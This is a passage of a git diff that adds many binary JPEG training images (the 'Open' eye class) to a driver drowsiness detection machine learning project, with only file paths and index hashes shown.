Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_230.jpg new file mode 100644 index 00000000..5b3d11a9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_230.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_232.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_232.jpg new file mode 100644 index 00000000..b058b0f7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_232.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_233.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_233.jpg new file mode 100644 index 00000000..ec70a6a6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_233.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_234.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_234.jpg new file mode 100644 index 00000000..1a025344 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_234.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_235.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_235.jpg new file mode 100644 index 00000000..898e04e8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_235.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_236.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_236.jpg new file mode 100644 index 00000000..f8990c2d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_236.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_237.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_237.jpg new file mode 100644 index 00000000..b405e630 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_237.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_238.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_238.jpg new file mode 100644 index 00000000..b2355561 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_238.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_239.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_239.jpg new file mode 100644 index 00000000..11f735c5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_239.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_24.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_24.jpg new file mode 100644 index 00000000..08ba9a4e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_24.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_241.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_241.jpg new file mode 100644 index 00000000..42d3f07f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_241.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_244.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_244.jpg new file mode 100644 index 00000000..53e5c396 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_244.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_245.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_245.jpg new file mode 100644 index 00000000..f5e6f669 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_245.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_246.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_246.jpg new file mode 100644 index 00000000..17040f05 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_246.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_247.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_247.jpg new file mode 100644 index 00000000..bfb0d7f6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_247.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_248.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_248.jpg new file mode 100644 index 00000000..9de37d16 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_248.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_249.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_249.jpg new file mode 100644 index 00000000..7cb0c566 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_249.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_25.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_25.jpg new file mode 100644 index 00000000..a2eb2617 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_25.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_250.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_250.jpg new file mode 100644 index 00000000..f57f7236 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_250.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_251.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_251.jpg new file mode 100644 index 00000000..fdad0d07 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_251.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_252.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_252.jpg new file mode 100644 index 00000000..9117bb4b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_252.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_254.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_254.jpg new file mode 100644 index 00000000..1163ac61 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_254.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_255.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_255.jpg new file mode 100644 index 00000000..b6b81631 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_255.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_256.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_256.jpg new file mode 100644 index 00000000..59e2c0ef Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_256.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_258.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_258.jpg new file mode 100644 index 00000000..d0dd0404 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_258.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_259.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_259.jpg new file mode 100644 index 00000000..5fd5df83 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_259.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_261.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_261.jpg new file mode 100644 index 00000000..8abc613b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_261.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_262.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_262.jpg new file mode 100644 index 00000000..82c173af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_262.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_263.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_263.jpg new file mode 100644 index 00000000..9cfecafb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_263.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_264.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_264.jpg new file mode 100644 index 00000000..4e9ceb17 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_264.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_265.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_265.jpg new file mode 100644 index 00000000..021b2adc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_265.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_266.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_266.jpg new file mode 100644 index 00000000..4e5e297d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_266.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_267.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_267.jpg new file mode 100644 index 00000000..1807e8e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_267.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_268.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_268.jpg new file mode 100644 index 00000000..ea5fb48d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_268.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_269.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_269.jpg new file mode 100644 index 00000000..fff0d006 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_269.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_27.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_27.jpg new file mode 100644 index 00000000..dbfbace0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_27.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_270.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_270.jpg new file mode 100644 index 00000000..07ed991a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_270.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_271.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_271.jpg new file mode 100644 index 00000000..ef2205b6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_271.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_272.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_272.jpg new file mode 100644 index 00000000..6e076063 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_272.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_273.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_273.jpg new file mode 100644 index 00000000..ac124b24 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_273.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_274.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_274.jpg new file mode 100644 index 00000000..a86abd0e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_274.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_275.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_275.jpg new file mode 100644 index 00000000..a1303dc2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_275.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_276.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_276.jpg new file mode 100644 index 00000000..1f801c5c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_276.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_277.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_277.jpg new file mode 100644 index 00000000..001747d5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_277.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_278.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_278.jpg new file mode 100644 index 00000000..b07e6f48 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_278.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_280.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_280.jpg new file mode 100644 index 00000000..001c320d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_280.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_281.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_281.jpg new file mode 100644 index 00000000..8ab14116 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_281.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_282.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_282.jpg new file mode 100644 index 00000000..6f10a338 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_282.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_283.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_283.jpg new file mode 100644 index 00000000..a00c1092 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_283.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_285.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_285.jpg new file mode 100644 index 00000000..22804b35 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_285.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_286.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_286.jpg new file mode 100644 index 00000000..991ee6c9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_286.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_288.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_288.jpg new file mode 100644 index 00000000..c275d8ff Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_288.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_289.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_289.jpg new file mode 100644 index 00000000..c558fc23 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_289.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_29.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_29.jpg new file mode 100644 index 00000000..3f4bd2af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_29.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_290.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_290.jpg new file mode 100644 index 00000000..91115bc2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_290.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_291.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_291.jpg new file mode 100644 index 00000000..c9da8ecb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_291.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_292.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_292.jpg new file mode 100644 index 00000000..3f9b76c2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_292.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_293.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_293.jpg new file mode 100644 index 00000000..80e26dfe Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_293.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_294.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_294.jpg new file mode 100644 index 00000000..cc749259 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_294.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_295.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_295.jpg new file mode 100644 index 00000000..d4f76b9c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_295.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_296.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_296.jpg new file mode 100644 index 00000000..01b690ad Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_296.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_297.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_297.jpg new file mode 100644 index 00000000..41b8a8cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_297.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_299.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_299.jpg new file mode 100644 index 00000000..529a718a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_299.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_30.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_30.jpg new file mode 100644 index 00000000..48e39698 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_30.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_300.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_300.jpg new file mode 100644 index 00000000..6dbe79bc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_300.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_301.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_301.jpg new file mode 100644 index 00000000..991ce175 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_301.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_303.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_303.jpg new file mode 100644 index 00000000..9c91463d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_303.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_304.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_304.jpg new file mode 100644 index 00000000..bb588e0a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_304.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_305.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_305.jpg new file mode 100644 index 00000000..f4bece4d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_305.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_306.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_306.jpg new file mode 100644 index 00000000..8c449ad4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_306.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_307.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_307.jpg new file mode 100644 index 00000000..bde2fd95 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_307.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_308.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_308.jpg new file mode 100644 index 00000000..c2abb6c7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_308.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_309.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_309.jpg new file mode 100644 index 00000000..0c5a1957 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_309.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_310.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_310.jpg new file mode 100644 index 00000000..ea5f727a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_310.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_311.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_311.jpg new file mode 100644 index 00000000..c74631e0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_311.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_312.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_312.jpg new file mode 100644 index 00000000..166558f5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_312.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_313.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_313.jpg new file mode 100644 index 00000000..d2cd0772 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_313.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_314.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_314.jpg new file mode 100644 index 00000000..c723d87f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_314.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_315.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_315.jpg new file mode 100644 index 00000000..03fcb39c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_315.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_316.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_316.jpg new file mode 100644 index 00000000..84573d50 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_316.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_317.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_317.jpg new file mode 100644 index 00000000..7957abd9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_317.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_318.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_318.jpg new file mode 100644 index 00000000..25210a5b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_318.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_319.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_319.jpg new file mode 100644 index 00000000..d54dc1af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_319.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_320.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_320.jpg new file mode 100644 index 00000000..ffd27ec6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_320.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_321.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_321.jpg new file mode 100644 index 00000000..4f436da0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_321.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_322.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_322.jpg new file mode 100644 index 00000000..e649cb09 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_322.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_323.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_323.jpg new file mode 100644 index 00000000..4dede1dc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_323.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_324.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_324.jpg new file mode 100644 index 00000000..0ed9d6af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_324.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_325.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_325.jpg new file mode 100644 index 00000000..8acd096b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_325.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_327.jpg b/MachineLearning 